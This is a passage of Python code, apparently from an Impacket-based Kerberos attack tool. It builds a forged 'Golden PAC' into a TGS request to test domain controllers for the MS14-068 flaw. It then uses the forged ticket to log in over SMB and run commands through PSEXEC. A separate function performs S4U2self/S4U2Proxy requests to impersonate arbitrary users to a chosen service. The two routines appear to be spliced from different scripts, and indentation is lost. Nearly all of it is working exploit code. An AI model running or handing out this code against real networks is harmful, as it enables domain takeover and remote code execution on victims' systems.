tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash == '' and self.__nthash == '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
if exception is None:
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection
if self.__targetIp is None:
s = SMBConnection('*SMBSERVER', self.__target)
else:
s = SMBConnection('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
executer.run(self.__target)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher,
sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4,
encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype, ))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data'][
'cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype,
str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print authenticator.prettyPrint()
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
self.__options.impersonate,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack(
'<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(
constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print paForUserEnc.prettyPrint()
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(
self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', (int(
cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print tgsReq.prettyPrint()
logging.info('\tRequesting S4U2self')
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print tgs.prettyPrint()
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(
self.__options.spn,
type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)))
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'],
str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey